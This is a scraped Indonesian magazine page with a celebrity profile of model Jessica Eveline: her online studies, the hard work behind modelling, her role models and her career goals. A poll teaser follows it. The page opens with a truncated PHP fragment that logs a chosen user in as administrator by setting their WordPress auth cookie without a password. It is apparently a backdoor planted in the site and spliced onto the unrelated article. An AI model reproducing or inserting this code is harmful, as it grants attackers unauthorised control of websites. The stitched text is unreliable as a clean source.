user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Celebrity
Jessica Eveline - Modeling Tidak Selamanya Glamor

19 Mar 2014

Kesibukan pemotretan dan fashion show tidak membuat Pemenang Favorit Wajah Femina 2013 Jessica Eveline terlena dan lantas melupakan urusan pendidikan. Kini, ia terdaftar sebagai mahasiswi semester empat di Jurusan Marketing Management, BINUS. Demi mengakomodasi aktivitasnya sebagai model, ia memilih untuk mengambil kuliah online, yang membuatnya hanya perlu ke kampus 4 kali dalam 3 bulan.

Lalu, apa ia tidak menyesal melewatkan masa-masa kuliah yang biasa, nongkrong dengan teman-teman? “Tidak juga, ini pilihan hidup saya. Menurut saya, masa muda harus diisi dengan kerja keras. Nanti kalau sudah mapan, baru saya boleh bersenang-senang,” kata Jessica, mantap.

Toh, saat ini Jessica merasa sudah beruntung karena memiliki banyak teman model dengan mimpi dan passion yang sama. “Sejak karantina Wajah Femina selesai, saya masih sering bertemu dengan teman-teman finalis yang lain. Kami jadi dekat sekali,” ujarnya, senang.

Sebagai pendatang baru, ia mengaku sedikit khawatir dengan image model yang sering kali identik dengan dunia malam yang hedonis. Hal ini juga dikhawatirkan ayahnya ketika ia terjun di dunia ini. Namun, pengalaman memberinya wawasan baru bahwa dunia modeling tak selalu berurusan dengan gaya hidup glamor.  Sebaliknya, ia dituntut untuk mau kerja keras dalam waktu yang sangat fleksibel.

Sebagai model sebuah fashion show misalnya, ia harus latihan sejak subuh untuk acara malam harinya, dengan jam kerja tidak biasa. “Orang sering mengira kehidupan model itu glamor. Padahal, make up dan baju-baju desainer itu hanya untuk di catwalk. Di luar itu, saya dan teman-teman lebih suka mengejar barang-barang sale,” tuturnya, tertawa.

Dalam pergaulan, Jessica justru melihat banyak model yang bekerja begitu keras dan mulai dari nol seperti dirinya. Sementara model-model yang sudah lebih senior memiliki profesionalisme yang begitu dikagumi Jessica. “Kalau saya melihat Paula Verhoeven, Laura Mulyadi, atau Dominique Diyose, saya pikir merekalah panutan model yang sesungguhnya,” ujarnya.
Advertisement

Bicara soal panutan, Jessica juga mengagumi Tyra Banks, sosok yang menurutnya memiliki banyak bakat dan mampu terus berkarya, meskipun sudah tidak lagi menjadi model. Sama seperti Tyra, Jessica juga melakukan planning jangka panjang seandainya nanti ia harus ‘pensiun’ sebagai model.

“Saya punya checklist panjang berisi tujuan-tujuan yang harus saya centang satu per satu di akhir tahun. Terakhir, saya berhasil mencentang foto cover majalah dan memenangkan Wajah Femina,” katanya, bangga.

Daftar Jessica ini rupanya masih panjang. Selain ingin mencoba dunia presenting dan memulai usaha aksesori, ia juga bercita-cita menjadi motivator bagi anak-anak sekolah supaya tidak bermalas-malasan. Ia melihat generasi muda sering salah arah atau malah tidak memikirkan masa depannya sama sekali. Akibatnya, mereka mengerjakan sesuatu yang tidak sesuai dengan passion. “Saya ingin mengingatkan mereka untuk mengejar mimpinya dari sekarang, supaya nantinya tidak menyesal,” tutup Jessica.


Primarita S. Smita
Foto: Dok. Femina





 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?